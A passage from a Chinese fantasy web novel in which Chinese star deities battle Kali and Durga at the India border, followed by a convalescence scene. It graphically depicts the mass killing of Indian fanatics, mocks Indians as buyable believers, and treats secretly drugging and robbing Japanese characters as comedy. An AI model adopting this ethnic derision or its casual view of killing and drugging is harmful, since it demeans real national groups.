现在,星官们断了与天庭的联系,星宿力量不全。 迦梨这里有十万狂信徒的加持。 他们来,也是送人头。 李寅寅用力挥手让他们回去:“你们走吧,不要白白送命。” 他们没有动,从他们身后,走出穿着不同服饰的人。 有藏民,有道士,还有内地禅宗的和尚,是星官们用自己的法力,将愿意为李寅寅祈祷的人送到现场。 他们或盘膝而坐,或虔诚跪倒,以各自的方式表现他们的信仰。 此时他们信的不是白虎星宿或是李寅寅这么一个人,而是虔诚地信仰着对外抗争的精神。 在源源不断的祈祷中,李寅寅的身体再一次充满了力量。 迦梨见状,大喝一声,有数千印度人站起身,提着棍棒和石头,向实控线狂奔而来。 他们的眼神充满疯狂,已经失去了神智。 参水猿咬紧牙关,他已经打算命令边防部队动手了,什么不打第一枪,都这样了!大不了他接受处份,原地退伍! 忽然一只手搭在他的肩膀上:“这些人已经附魔了,用子弹打不退的!” 苏灵衣从他身旁越过,扔下一句话:“这里交给我!我不行了,你再顶上。” 第79章 雷劈 参水猿目瞪口呆地看着眼前这只狐狸,踏着坚定的步伐向前。 他根本就不相信苏灵衣能有什么强大的法力,不就是一只总跟在星君后面一声不吭的跟宠吗? 参水猿没有失去法力的时候,都不敢说能以一人之力驱赶这么多被附魔的人类。 何况这个连他都能看出原型的藏狐。 不过他没有阻拦苏灵衣上前,他要做第二道防线,万一,苏灵衣拦不住了,总不能让这群疯子真的直冲到四川盆地去抢熊猫、夺串串。 李寅寅眼角瞥见竟然是苏灵衣上前,不由地睁大眼睛,参水猿是死了还是怎么着,怎么能让苏灵衣上? 如果这些人真的是被夺舍了,灵魂离体,在场的星官们联手把他们烧成灰都行。 糟就糟在他们不是,他们是有自己意志的。 目前他们的情况大概类似于加入了某个有病的教派、某种有病的传销、接了诈骗电话非要转账……的疯魔状态。 甚至都不算异族入侵,最多算偷渡,不能对他们采取剥夺生命的操作。 那几位星官从来没有觉得自己坚持几千年的天道法则这么事儿逼,这么烦人,这么讨厌。 “我受不了了!太丢人了!”第一个冲出去的是心月狐,自从与苏灵衣相识,她一直认为苏灵衣只是一只普通狐妖,就是跟在李寅寅身后的小可爱,法力很差,魅力不足,也不会勾引人,别说跟身为星宿的自己比,就连跟史上那几个赫赫有名的狐妖也没法比。 她当年在朝堂之上,好歹也是有过几次战事的,自诩美貌与才华并重,妩媚与杀器并存。 如今却是这只什么都不行的小可爱冲出去守卫疆土。 “我就不信,华夏的天谴就只知道欺负自己人!”尾火虎也跟着冲了上去。 紧接着角木蛟也上了:“我倒想看看天雷这次能把我给劈到哪投胎!” 所有星官一同上前,以他们强大的法力将这群狂信徒往回推。 黑压压的人群与星官们短兵相接,神格中具有司掌狂风飞砂之责的北方玄武的危月燕掀起一阵狂风,将人硬生生地吹飞了起来,摔回实控线之内。 但是人太多了,危月燕的力量在用了一次又一次之后,也近乎于枯竭,她大骂道:“这帮混蛋都不知道累的吗!什么时候是个头啊!” “要等星君把迦梨解决掉。”苏灵衣飞身而起,手中狐尾鞭甩出,将意欲偷袭的几人扫翻在地。 现在的任务,就是拖时间,拖到李寅寅把迦梨和难近母军团打退。 印度方面的念经人又增加了,毕竟在这片土地上,生活着超过百万的印度人,他们住得非常紧密,随便去一块聚居区,就能接到两三万人过来。 别说他们本来就有信仰且信得真挚。 就算没信仰,按这边的平均收入,只要一人给一美金,他们也立马有信仰了。 现在,李寅寅深深感觉到为什么藏南这么难收了,补给线那是真跟不上啊! 对面哗哗地来增援,自己这一方的人就这么多了。 本来西藏的常驻人口就那么一点,还主要住在拉萨和日喀则,他们过来就得走通麦天险,就算从云南调人,丙察察那条路也没那么快。 星官们已经是竭尽所能,把全国有强烈信仰、愿意被陌生人架着送过来的人都搜罗齐了送过来。 好消息是看直播的人越来越多,虽然不知道是不是真的,但是情绪已经铺垫到位,观众们呼朋引伴,拉人来看。 为了分摊服务器的压力,苑雪一口气注册了一百多个不同平台的账号,同时进行直播。 不幸的是她在直播中说了进不来的人可以去其他平台看,被直播间判定为给他站引流,有五十多个账号直接被封禁。 失去了那部分观众的支持,李寅寅硬扛了对自己劈下来的十几把刀,胳膊被震麻,几乎抬不起来,只能向后退,避开致命杀如。 苑雪气得骂街:“憨披雏雏!憨布鲁出呢。头么低反苤蓝一样呢!死头干姜呢!再不给老子解禁,老子兜牙巴骨给你一皮坨!” 骂归骂,她一边申诉一边注册。 她这边忙着,服务器那里也没闲,几大直播平台都注意到了这股异常流量,而且,已经有一个平台承不住,崩了,程序员连夜加班扩容。 此时刚刚晚上十一点半,几大直播平台突然有个直播间流量暴涨的事,跃居热搜第一。 大家都好奇地点进去看,评论区里又是为了这到底是真的还是假的吵成一片。 越吵,越有流量,热度越高。 苑雪还偷摸跑去了印控区,打开了tiktok、youtube live等几个国外的直播平台。 起先是在海外的华人知道有这么一件事,好奇去看。 有了他们送来的第一拨流量,大数据给予推送支持,更多人看到了这个直播,包括外国人。 外国人并不关心中印之间的矛盾,单纯觉得“这特效做得真棒,不输好莱坞”,就单纯当个故事看。 在故事里,长那么多胳膊,面相还凶神恶煞的肯定是反派。 衣着整齐,容貌俊秀,脸上干干净净的肯定是主角。 哪有不支持主角,非得支持反派的观众,那不是到大结局的时候等着踩雷嘛。 由于这种朴素的认知,李寅寅获得了外国友人几乎一面倒的支持。 不知不觉,几大平台涌入了几千万人,紧接着破亿、然后过两亿、过三亿…… 即使电子器材做了中间商,吃了差价,几个亿打个骨折,也能让李寅寅力压迦梨和难近母。 迦梨也感觉到来自四面八方对李寅寅的支持,她的眼睛冷冷地看着浑身浴血的李寅寅:“你以为,以你的身份,只需要有这点信念的加持,就能战胜我了吧?” 李寅寅微微勾起嘴角:“是不是我以为,总得看到结局再说。” 她一枪悍然挥出,将近前的一个难近母挑飞,她巨大的身体撞上身后的其他难近母,如同被保龄球击中的瓶子,倒了一排。 迦梨这一方的人继续被源源不断的送来,迦梨知道以李寅寅的神格,就算有信众加持,也掀不起太大的风浪。 她让更多的人冲击实控线。 只要在现场的人受到攻击,李寅寅必然心神大乱,到时候,就算有再多的信徒,李寅寅也会落得一败涂地的下场。 “人太多了……”尾火虎低声道。 把他们一次又一次的掀回去,实在是太耗灵息。 远不如一劳永逸…… 女土蝠在打出一波攻击之后,看着那些不怕死的人又冲上来,气得咬牙:“斩草不除根!春风吹又生!老娘敢在佛前放屁!谋杀如来舅舅!还怕杀几个人!” 她变身战斗相,手中握着丝线,那些丝线飞向冲来的人群,将他们缠住,摔倒在地。 女土蝠手指灵巧地弹动,缠在这些人胳膊和腿上的丝线同时共震,紧接着,便像最锋利的刀刃一般,让他们的四肢与身体分离。 鬼金羊双手张开,一股浓白中混着黑气的烟雾弥开,这是鬼宿的积尸气,进入积尸气的人类,都会像个傻子,彻底失去自我意识,只会在这无边的迷雾中徘徊。 饶是这样,还有不小数量的人群冲过实控线。 苏灵衣化出法身,在群星闪烁的夜空下,一只如山岳一般高的藏狐慵懒地坐在地上,一条长长蓬蓬的尾巴在身后摇摆。 他的眼神还是那样,带着五分厌世、五分鄙夷,慢慢地张开嘴,一口幽绿色的狐火从他的口中喷出,将面前缺胳膊断腿的、神智不清的狂信徒烧了个干净。 这一手,把其他星官都给震惊了,用法力伤人与用法力杀人,是完全不同级别的处罚。 即使是现在,他们也只想着最多伤人,这样还有转圜的余地。 苏灵衣这干得也太绝了。 心月狐忍不住提醒他:“你不能杀这么多人,会被天谴的。” “我可以。”苏灵衣面色森然,与原先那个温柔可爱,就连生气也带着几分搞笑模样完全不一样。 苏灵衣一步步向前,口中狐火随着他的脚步,将蜂拥上前的狂信徒全部烧得无影无踪。 再狂的信徒,在如此刺鼻的蛋白质烧焦味道前,也会清醒过来。 眼前如山一般高大的藏狐微微低着头,黄色的瞳孔里透着不屑、傲慢与不可一世。 狂信徒们已有大半人清醒,他们停下脚步,转身就跑。 此时天空已被阴云覆盖,不见一颗星。 如波涛一般的黑色云层在头顶聚拢、盘旋,不时有紫色电流在云层中蹿动。 天谴将至。 被李寅寅打中真身,已经痛得面目扭曲的难近母忽然笑起来:“愚蠢的狐狸,你死定了。” “在那之前,死的是你!”苏灵衣一口狐火喷出,难近母甚至不屑于挡一挡。 在她看来,苏灵衣不过是一只普通狐妖,也就只能杀杀普通人。 在真正的神明面前,他的狐火,也不过就是稍微热一点的风罢了,对她来说,甚至未必强过印度洋热带气旋。 当碧绿色的狐火喷到她脸上的瞬间,她知道自己错了。 在火中,她发出尖厉的惨叫,从脸颊到脖子,所有碰触到狐火的皮肤,一片一片变得干枯、焦黑,接着从身体上剥落。 她有主神的神格,不会死去,但是,狐火的侵蚀,还是会让她的灵体感到极度的痛苦。 她一手挥动长叉抵住苏灵衣的咽喉,同时挥动另一只手中握着的因陀罗雷杵,对着苏灵衣的天灵盖砸下去,想要将这个让她痛苦万分的妖狐彻底了结。 就在此时,李寅寅将手中银枪变为长刀,将难近母真身的十条胳膊整整齐齐地砍了下来。 难近母与迦梨同为雪山女神的分身,她们之间共享着力量与感官。 高踞半空,俯瞰大地的迦梨身体不由一震,她落回大地,面相越发凶恶,张开嘴,伸出舌头,右脚猛地一跺,不知何处传来山川崩塌的声音,紧接着,她又跺了左脚,大地正中破开一条裂缝。 苏灵衣一眼便认出:“灭世之舞!” 当初就是因为她跳起了这支舞,让湿婆神也不得不躺在大地上,让她的脚落在自己身体上,避免生灵涂炭。 与此同时,聚在苏灵衣头顶上的天雷已经急不可耐,已经有一道雷光落下,苏灵衣快速闪开,雷光击中一户印度人家,火光陡然烧了起来。 他愣了一下,忽然好像得到了什么灵感似的,猛地闪身到了迦梨身旁,整只狐像一只背包,死死趴在迦梨的背后。 紧接着,一道又一道的天雷打了下来,紫色电光交织如一层又厚又密的网,将苏灵衣和迦梨罩在一团。 李寅寅试图靠近,雷电连她都没放过,脚下的电流形成电场,只一步,跨步电压便重重给了她一击,电流像毒蛇一般,从脚下钻入身体,在神经末梢疯狂撕咬,疼痛被中枢传至大脑,脑袋都跟着发麻。 雷电持续了一个多小时。 以妖力伤人,不过是受九道天雷,找个灵气充足的地方哀嚎几声也就好了。 以妖力杀人,就要根据所杀人数分为不同层级,类似人类的案件,也分为普通、重大、特大、影响极坏等等…… 苏灵衣那口狐火,像火箭喷射器似的,不知带走了多少条人命,这一次的天雷,会把他打的神魂俱灭。 李寅寅急了,她不服,她仰头望着天谴云骂道:“你这个不分好歹的天道智障!不分青红皂白就打!你有本事把赖在这块地上不走的都给劈了啊!不知道是哪个蠢货把你给造出来的!” 光骂不能解决问题,李寅寅发狠,将自己的本命银枪化做亿万根如牛毛般细小的银针,直送入云端。 她的本意是如武乙那般囊血射天,发泄一下。 没想到那亿万银针一入雷云,便引动云中电荷,产生电晕放电,将雷云中的大气电场削弱,闪电虽然还在一下一下的打着,但是显然减弱许多。 见天谴云居然服从物理学规律,李寅寅马上找到奎木狼,让他想办法用人力解决一下。 司掌风雨雷电的奎木狼与各地气象局关系都不错,他紧急从重庆调动了几十枚专门为了保障大型典礼天气的驱云小火箭。 重庆气象局负责人正是奎宿下属,该服从的还是要服从,就是有些不情愿:“这账本啷个写哟。” “算到五次人工降雨里面,你们都把气象局改名成天气媒体了,平账不难吧。” 不管愿不愿意,能瞬移的青龙星官就这么出现,并且把小火箭给带走了,很快就射进了边境的雷电云层中。 云层还在不断亮起。 人工智障有人工智障的作用,当初安排天谴云的神仙没有考虑到天谴云还有无法锁定目标的时候,定的计数机制就是云层只管放电,放够数就行。 现在云里有众多干扰,几乎没有落在地上的。 李寅寅急步赶到那一团黑漆漆的东西身边。 那团是毛皮皆焦的苏灵衣,是藏狐的模样,小小的,只有人类胳膊那么长,闭着眼睛的脸还是那么要死不活的厌世样。 迦梨的身体不知道什么时候消失了,空气中残留着一丝更加强大的灵息,比迦梨更加强大,且会跑过来多管闲事的神……应该只有迦梨原身帕尔瓦蒂的丈夫湿婆了。 不愧是印度次大陆的创世神,就这么来了又走了,还顺走了一个人,她离得那么近,居然一丁点都没有发现。 如果他走的时候,除了抱走老婆,还顺手给自己一下子,李寅寅还真不确定自己能不能躲开。 李寅寅蹲下,伸手去摸苏灵衣的动脉。 她发现自己的手竟然在微微发抖,许久都没有勇气摸上去。 李寅寅对于生死一向不放在心上,相当果决的。 白虎七宿跟她一起转世多次,每次下凡都是乱世,或是需要四处征战的时候。 瓦罐不离井边破,将军不离阵上亡,李寅寅见惯了白虎七宿的生死,反正也不会真死。 她一向秉承着有气就治,没气就埋的态度,转世了就去看看去了哪家,有空一起玩,渡完劫就一起回天庭复盘得失,下次历劫再战天下。 就连跟她关系亲近的人类,那也总是有去处的,不是转世了,就是在地府当公务员了,总之,只不过是换一种形态存在而已。 就像现代人,不玩企鹅了,会去微信。不玩微博了,还有小红书。 除了热恋中的情侣,第一次离开家人,别人就算天各一方,整天还能在网上相见,就没有那么强烈的分离之苦。 全是被天谴雷劈死的妖怪,不是魂飞魄散,就是降格为最低层的魑魅魍魉,最多在人间存在几天,就彻底消散,没有灵识,不会投胎。 如果死了,就等于全网销号,连着手机号、地址都没有……不存在了,在哪里都找不着了。 当李寅寅有这样强烈的认知后,她的心像被一只手紧紧地捏住,又重重地拧着。 不知什么时候起,她已经习惯苏灵衣跟在她的身边,对她嘘寒问暖,体贴周到。 李寅寅闭了闭眼睛,暗骂自己什么时候也变得婆婆妈妈。 她狠狠将手重重按在苏灵衣的胸口。 心脏几乎没有起伏,鼻端也没了气息。 只是身体还是暖的,李寅寅甚至不敢确定,手上感受到的这一点温暖,是不是天雷烧过之后留下的温度。 “我来看看他。”孟清华的声音在耳边响起。 李寅寅向旁边让开一点,孟清华将手按在苏灵衣的胸口,淡青色的光覆盖苏灵衣的全身,东方之神的治疗力量从孟清华的手中传到苏灵衣的身上。 往常别说再重的伤,哪怕是人死了,魂已经走到阎王殿、上了奈何桥,只要没有跳进轮回井,青龙都能把人拉回来。 可是这一次,孟清华久久不曾开口,青色的光芒一直在苏灵衣的身上盘旋徘徊。 最后,他收回手。 李寅寅看着他,没说话,就像一个没复习的考生,等待着公布分数。又像一个混日子的社畜到年底等待KPI考核的结果。 虽然……但是万一呢…… 孟清华抬起头,平静地看着她:“为了救回他一命,你愿意付出什么代价?” “需要什么代价?”李寅寅已经过了会说“不惜一切代价”的年纪了,她知道“一切代价”包括的范围很广,比如一些并不想成为“代价”的人。 她身负守土之责,也不能轻易许诺以命换命。 孟清华十分遗憾地耸耸肩:“白虎果然无情。” “他到底怎么样了?”李寅寅不想再跟孟清华打哑谜。 “没什么,只是仙力散尽,没了修为,靠着狐族大祭司留给他的内丹,还能勉强保持人型。对了,我发现,他的灵魂里被打了白玉京的印子,他是白玉京的逃奴?” 李寅寅知道白玉京是什么地方,极西之地的昆仑,西王母的居所,她以前经常去,每次仙果成熟、仙酒酿成的时候,她就会去那里进货,偷偷分给白虎星天的人一起吃。 苏灵衣居然是从那里逃出来的? 白玉京确实养了许多动物,青鸟、仙鹤、玄狐都有……但是,肯定没有苏灵衣。 她李寅寅可是非常会做人的,她记住了所有动物和仙娥的喜好。 每次去都会给所有能接触到的人和动物带好东西,礼尚往来,再去搬人家的东西,也不会太尴尬。 现在想这些没用,李寅寅伸手去抚摸苏灵衣的脸颊:“他什么时候能醒?” “很快……不过,他也许会希望一直不醒吧。” 苏灵衣的灵力再不值钱,也有几千年了,他天资不好,每一点进步,都是靠自己一点一点攒下来的。 就如同人类重伤捡回一条命,忽然发现自己每天起早贪黑,卖苦力忍侮辱,受尽欺负才攒下的几十亿资产被一把火烧没了。 那种打击,不是谁都能接受得了的。 “他可以。”李寅寅轻轻地把苏灵衣抱在怀里,“我对他有信心。” 第80章 替身 边境这场大战,现场人数逾万,在线观看人数超过四亿。 但是,并没有引起什么轰动,也没有造成无神论的崩塌。 在现场那些大能,自然知道什么该说,什么不该说。 在普通信众的记忆中,自己只是来拜了拜自己信仰的神明,与平日做的功课并无二致。 在线观看的那么多人,有一半相信这是真的,一定是有超自然事件发生了。 另一半认为这是假的,演的、编的,只是确实很能调动情绪,不由自主为了故事里的主角李寅寅加油。 为了让妖管管好对上头解释,在迦梨消失之后,苑雪拿出小牌牌,对着摄像头举起来——《749局》3D全息投影特效团队倾情打造。 其实在直播过程中,在屏幕的最下端也有一句话: 根据国家法律法规要求,该视频内有AI合成视频及未经证实部分。 所以,直播才没有因为宣传封建迷信而被暂停。 只不过那些坚定相信的人认定,这是为了通过平台审核的小手段,区区一行字,只会让他们信得更深。 在各大社交平台的热评讨论就从“卧槽,听说边境上有法术大战?惊动了紫袍法师和红衣大和尚?” 变成了“这不是能做好吗?做出两个不能动的翅膀是恶心谁呢?” “是不是钱没给够?” “可能不仅没给够,还拖着尾款没给,把人家给气得亮出真本事,免得被无辜牵连。” …… 媒体发达的时代,舆论如同一阵风,来得快,去得也快。 本来尾火虎已经赌上自己的官身,打算接受处罚了,结果,一句是特效,就把所有处罚的可能性都压了下去。 管天管地,还管人家拍戏? 苏灵衣在第三天醒了,身边只有苑雪,见他睁开眼睛,兴奋地跳起来:“醒啦,听你肚子在叫,格斯饿了嘎?我拿吃的来!” 说罢,一阵风似的跑了出去,又一阵风似的跑了回来,手里端着一碗鸡汤:“藏雪鸡~寅寅姐姐专门帮你买的,还借了一只高压锅煮,现在她去还锅了,一会儿就回来。” “这么讲究啊。”苏灵衣的身体依旧十分无力,嘴角忍不住扬起一个笑容。 李寅寅的声音随着脚步一起进来:“不然呢!像这小傻子,拿着一个洗脸盆给你煮,煮十年都烂不了。” 苑雪不服,大叫起来:“怎么烂不了嘎!那个不是洗脸盆!是钢精锅!” 李寅寅笑道:“这里的海拔五千多,水烧到80度就开了,一百度才熟,就算是低温慢煮,你说你这炖鸡要炖到什么时候?” 苑雪气呼呼,双手叉腰:“那就多烧一会嘎!” “沸点是八十度,烧一百年,也不会烧到一百度的。” “骗人!” 苏灵衣看到苑雪被气得鼓着腮,又笑起来:“好啦,你第一次上高原,不要这么激动。” “我也是高原人!云贵高原,哼!”苑雪高昂着头,捞了几棵鸡汤里的松茸虫草跑了,生怕李寅寅揭穿她生活的地方其实也就海拔几百米,只要抢先拉黑对方,让对方来不及说话,就是胜利。 李寅寅笑道:“个子小小,脾气大大。感觉怎么样?” 后面那句是问苏灵衣的。 苏灵衣抬起手,活动了一下手指:“没事。” “你的灵力为什么会突然暴涨?”岂止是突然暴涨,在苏灵衣喷吐狐火的时候,李寅寅感受到苏灵衣的灵力已经超过了太乙散仙的档次。 那是多少妖怪想要修炼的终极目标,苏灵衣怎么忽然就轻轻松松达到了。 然后,又被天谴雷击碎,不仅堕回原来的妖,甚至内丹也受到了损害。 法力提升是一种很漫长的过程,不是像人类在运动会的时候吃违禁药那样能达成短暂提高的几分钟体验服。 否则,就冲着兴奋剂水平提高的速度,早就被妖或人拿出来为祸天下了。 就像奥特曼,一共只能打那么一会儿,不到红灯不出手。 可是人家到底赢了啊! 片名都叫奥特曼呢。 在李寅寅的注视下,苏灵衣犹豫着,慢慢张开嘴,还没等他出声,李寅寅先开口:“你知道我的神格是能看出谎言的吧?包括一个人准备开始说谎的前置动作和微表情。” 苏灵衣:“……” 他还真不知道,只知道李寅寅在刑讯逼供和精神诱供方面相当有心得。 “如果你不想说,就不要说,省点力气,吃点喝点。”李寅寅把炖好的藏雪鸡拿给苏灵衣。 “如果你想吃熏鸡和奶皮子也有。” 苏灵衣沉默地接过碗,一碗喝完,李寅寅伸手要将空碗接过,苏灵衣却没有松手,一双眼睛一眨不眨地看着她。 他有话说,但是不知道说出来的后果是什么。 李寅寅像是猜中了他的心思,笑道:“如果是心里有事,不知当说不当说,那就不要说,说出来,就要承担后果,除非,你的法力当真如此厉害,连我的记忆都能抹去。顺便说一句,世上也没有时光机。” 如果李寅寅说:“不管你说什么,我都原谅你。” 苏灵衣一定会说出口,现在他很纠结。 忽然,他又想开了,自己现在还不是一厢情愿,李寅寅也没答应过他什么。 又不是已经情到浓时,忽然听到自己对别人说“我只是玩玩而已,玩腻了再甩开。” 像李寅寅这种已经活了不知道多少年的天神,真的会在意情情爱爱这种东西吗? 就算李寅寅喜欢毛茸茸的小动物,二十八宿个个都是动物,不管是可爱的还是精壮的都有,各种口味齐全,何况还有一个心月狐,以他的狐族眼光来看,要是自己是李寅寅扛着麻袋去偷狐狸,也肯定偷心月狐不偷他。 他犹豫片刻,还是开口了:“其实,我在很小的时候,是西王母养大的。” “我以前也常去白玉京,怎么没见过你?”李寅寅困惑地看着他。 “那个时候,黄帝与蚩尤在争斗,也许……” “哦,我应该在打仗。”自共工怒触不周山,到黄帝与蚩尤开战,那段时间是李寅寅难得不以渡劫身份,而是以支援人王的友军使者身份下界,天天忙着打打杀杀,确实没时间去白玉京混吃混喝。 苏灵衣继续往下说:“共工撞倒不周山后,女娲觅石补天,西王母派出白玉京的所有人和动物帮忙寻找。 我那时法力低微,不敢离开西境太远,在昆仑丘下找了很久,找到了一块很大很漂亮的玉石,但是,离女娲补天的地方太远,等我到的时候,天都已经补好了……” 苏灵衣无奈苦笑一声:“她对我说,补天只需要三万六千五百块,现在已经没有地方放那块石头了。我就把那块石头顺手扔了,结果,挡了一个老头的路,看他天天把时间都花在把石头移走上,我只好连夜把石头搬开,找了很久,才找到一个没人住,也没有动物住的地方。 耽误了这些时间,再回昆仑,发现西王母不见了。 昆仑宫的人说女娲将要回归寂灭,临走前不放心自己创造的人类,委托西王母帮忙照看,所以,她去人间了。” 那段时间,是苏灵衣很郁闷的时候,他依旧可以在昆仑宫待着,只是仙娥们对他就像对所有普通的仙兽那样,按时喂食,一种带着礼貌的冷淡,让他非常不舒服。 唯一还有点特别的就是青鸟了,可是青鸟也不明白他在想什么…… 日子久了,金台玉楼也变得冰冷,清泉佳肴索然无味。 他是一个对情感有着强烈需求的狐狸,借着不想施放大洪水灭世的借口,他离开了昆仑宫,他想找到西王母,在她身边打转,从她手里吃东西,在她脚边睡觉。 时间一天一天过去,却始终没有找到西王母的踪影,他却被凶兽所伤,被纯狐族大祭司捡走。 大祭司对他也很好,照顾有加,他就留在了纯狐族。 苏灵衣的法力在昆仑是最差的,但是在纯狐族,至少也是上等。 为了得到大祭司更多的关心,他故意隐藏自己的实力,像个听也听不懂,学也学不会的小笨蛋,受尽同族小狐狸的嘲笑,也得到了他希望的关怀。 后来年岁渐长,一个长得不好看又笨的成年生物,是不会得到任何关爱的。 苏灵衣决定改变路线,走“笨蛋遇仙缘,莫欺少年穷”路线,只是他的“开悟”迟了,纯狐族被灭族,而他面对的敌人,是上古四凶之一,这让他的“扮猪吃老虎”计划显得十分可笑。 扮猪吃老虎的前提是,真的可以轻松吃掉老虎。 而不是一只二哈扮成猪,那也是吃不了老虎的。 苏灵衣轻轻叹息:“有时候我也在想,我是不是天生就不配拥有这些亲密关系。西王母也是,妈妈也是,对我好的人,一个接一个的离我而去。” 窗外的阳光照在他的脸上,浓密的长睫毛垂落,很有一种充满破碎感的忧郁少年的气质,这让李寅寅莫名的生出一种想要捏一捏,按一按,欺负他让他再破碎一点的想法……噫,太邪恶了。 李寅寅递了一条鸡腿给他:“吃。” “我现在不饿。” “不是,我看你现在这样子有点饿。”李寅寅强硬地把鸡腿塞到苏灵衣的手里,看着他充满困惑和不解地咬了一小口。 忧郁文艺男青年手里举着鸡腿,果然能快速有效消除破碎感。 “在没有强大能力自保的时候,你千万不要露出刚才的模样,不然,你的狐丹可能就被勾引来的人给掏了。” 苏灵衣怔了一下,他只知道纯狐族的孩子们欺负他是因为他长得不好又笨,没听说过“勾引”,这么小众的字眼,一向只在九尾狐、赤狐和白狐身上见过。 他小心翼翼地求证:“你刚才是说……勾引?” “对,勾引,魅惑,反正就是那个意思自己领悟。”李寅寅语气十分不耐烦,她不想让苏灵衣知道自己刚才的情绪波动,看着可怜巴巴的异性就想入非非,简直像下头油腻男。 苏灵衣见她凶巴巴地模样,心里刚刚升起的一点小绮思又被打得烟消云散:她可是天上的星君,怎么可能对自己有什么想法,应该只是随便挑了一个她觉得合适的词罢了。 李寅寅忽然问:“你刚才想跟我说的,一定不止这些事吧?就这点事,不至于犹豫半天。” 这是苏灵衣最害怕,也最想逃避的问题。 他想了想,还是开口:“我第一次见到你,就有一种很熟悉的感觉……像……像……像西王母。” “哦~我这么牛逼的吗!”李寅寅挺开心。 这反应让苏灵衣一时有点不适应,黄少芸拉着他看过一部电影,叫《情书》,里面已经死掉的男人娶了跟自己初恋藤井树一模一样的女人,黄少芸一边看一边骂,骂男人是渣男,把博子当替身。 谁也不想被别人当做另一个人的替身。 苏灵衣后来又看了很多影评,至少有一大半人都认为男主是渣男,是娶个替身而已。 这让他更加不敢说出真相。 如今他知道自己最多在李寅寅身边待一年,然后就得回去扇火炼丹,也许一万年后,他出来的时候,白虎星君一定也还在,但一定不会再记得他这个生命中的过客。 告诉李寅寅,让她因为自己把她当替身而讨厌他,也能坚定地斩断自己心里那点不该有的心思。 大家一别两宽,彼此安好。 谁知道,李寅寅的反应,跟他想的完全不一样。 也许,这说明,她本来就没有多喜欢自己吧,当个普通朋友而已。 在李寅寅看来,替身不替身的,那得看是谁,那可是西王母! 就如同,武则天为什么不掩饰自己做过李世民妃子的那段经历,有什么好掩饰的,那可是天可汗!天策上将!睡过他很骄傲的好吧。 大家都在西边待着,李寅寅还要跟另外三个人分地盘,西王母一个人独居一座山,谁提着她不得客客气气。 “如果我是西王母就好了~我可以往西边杀杀杀,把地盘再扩一扩,我见两河流域多妩,可种小麦,地中海娇俏可人,做内海正合适。” 李寅寅笑道。 苏灵衣只当她是在开玩笑,以表示她毫不在意自己感觉她像西王母,其实李寅寅在这里说的是真心话。 不知道为什么,李寅寅的潜意识里,总想跟再西边的力量干一架,这其实很奇怪,她住的极西星海已经是华夏最西边了,她的职责是守土,除非中天紫微垣命令她去开疆,她不应该有这种想往外扩张的意识。 她的历次历劫中也没有汉朝使节这个身份,一路搞事,把大汉的臂腋伸到西域去。 唯一一次在国外杀杀杀,就是在史书上被记载为“一人灭一国”的那一回,那也不能怪她,是天竺人先欺负她,先绑架她,不是她先动的手。 算了,潜意识里的事情毫无逻辑,做不得数。 李寅寅痛快放下那种莫名其妙的冲动,拥抱和平共处和共同开发。 在利益没有受损的时候,想怎么和平就怎么和平,现在九菊一派的那几个家伙偷摸着要进魔国,不管魔国是还有人,还是只剩宝。 总之,共同开发,那是绝对不可能的。 “你留在这里好好休息,我要去杀人了。”李寅寅站起身。 苏灵衣急忙道:“我也要去。” “你都不问杀谁?”李寅寅笑起来。 苏灵衣嘴角微扬,眼里仿若有星:“当然是九菊一派的那几个日本人,你说过的话,我都记着呢。” 其实昨天就可以出发的。 与迦梨女神大战的同时,一直没有动手的参水猿在观察着战场中漏出的杀气走向,以确定魔国的位置。 当时他就已经知道大概方向,然后派人确定位置,并且找到了入口。 甚至还查到了鬼鬼祟祟的日本人的行踪,按他们的行进速度,大概四日能到。 按李寅寅往日的作风,肯定会提前过去,布置好陷阱,然后以逸待劳,跟在日本人后面进去,然后摘桃子。 结果,这次参水猿汇报情况后,李寅寅说苏灵衣身受重伤,一定要等他醒来。 参水猿还以为苏灵衣承担了什么不可替代的工作,结果,李寅寅说等他醒来,就真的只是等他醒来。 “星君,你以前不是这样的,对咱们兄弟都是按人头安排事,谁倒下不行了,该送医送医,该送回家就送回家,您从来没有为谁停留这么多天呐。” 李寅寅理直气壮:“你们跟他又不一样,你们是星官,他是小妖,你们是被凡铁杀了,死了就是回天庭的复活点,他被天谴雷劈,死了以后还不知道在哪,我不得守他吗?万一他的魂被地府的人勾走了,我还能指望你们去把他的魂抢回来吗?” “星君说的是,是属下冒犯了。” 参水猿出来,告知自己手下的雪山大脚怪,让他们盯着点日本人的行踪。 其中一只大脚怪跟参水猿时间最久,忍不住问:“主人,您觉得星君说的是真心话吗?” 参水猿意味深长地看着他:“她以前只下命令,从不解释。军令如山,时不我待,哪个统帅会有闲心解释。” 他认为自己已经暗示得足够清楚。 雪山大脚怪恍然大悟,面带喜色:“是说明星君与您分别这么久之后,历经千帆,却发现只有您才是最堪大用的人才,着意培养,才会说这么多?” 参水猿:“我有一个想法,既然你对揣摩人心这么有热情,不如派你去青龙那边卧底,多学学他们的思维模式,将来白虎再与青龙开战,整个星天都没有人比你更懂青龙。” 雪山大脚怪双眼放光:“多谢主人栽培!我一定会让白虎星天再一次伟大!!!” 参水猿:“……” 虽然这些大脚怪一思考,参水猿就要吐血,但是,他们能在参水猿手下待这么久,自然是有其可取之处——令行禁止。 让干什么,就干什么,对下达的命令不折不扣的执行。 他们额外做的工作也很不错:把跟在日本人后面的苑雪给带回来了。 苑雪一心想从日本人的口袋里掏钱,于是,这一路,她混到他们住的客栈里、他们吃饭的餐馆里,哐哐往他们的饮食里面倒蘑菇粉。 也不知道他们是法力过于高强,还是他们的消化系统异于常人,一丁点就能让人产生迷幻效果的蘑菇粉,他们吃了四顿,居然一点事都没有。 急得苑雪恨不能直接把整蘑菇给他们塞嘴里,在她企图加大剂量的时候,大脚怪把她揪了回来,避免打草惊蛇。 现在,苑雪心心念念的都是那六个人兜里的钱、身上的首饰,有那笔钱,起码能把外墙修得特别庄严华丽,反正他们都要死了,捐个外墙也算是她帮他们稍稍积点德了。 当年的雪山魔国位置,在鬼湖拉昂错旁边。 鬼湖旁边就是神山冈仁波齐,以及圣湖玛旁雍措。 圣湖与鬼湖紧邻在一处,但鬼湖水质苦涩,圣湖甘甜可口。鬼湖无风三尺浪,圣湖却平静如画。 前田正一、萧云,还有另外四个九菊一派的高手径直向冈仁波齐前进,一天之内,便到达半山腰的一座院子。 院子后面就是此地最大的寺庙止热寺,几个小喇嘛在庙门口踢球,见到有陌生人路过,这几年冈仁波齐早就成了背包客的目的地,虽然现在天寒地冻,完全没有游客,他们也只好奇的看了这几个外来者一眼,便又继续玩自己的。 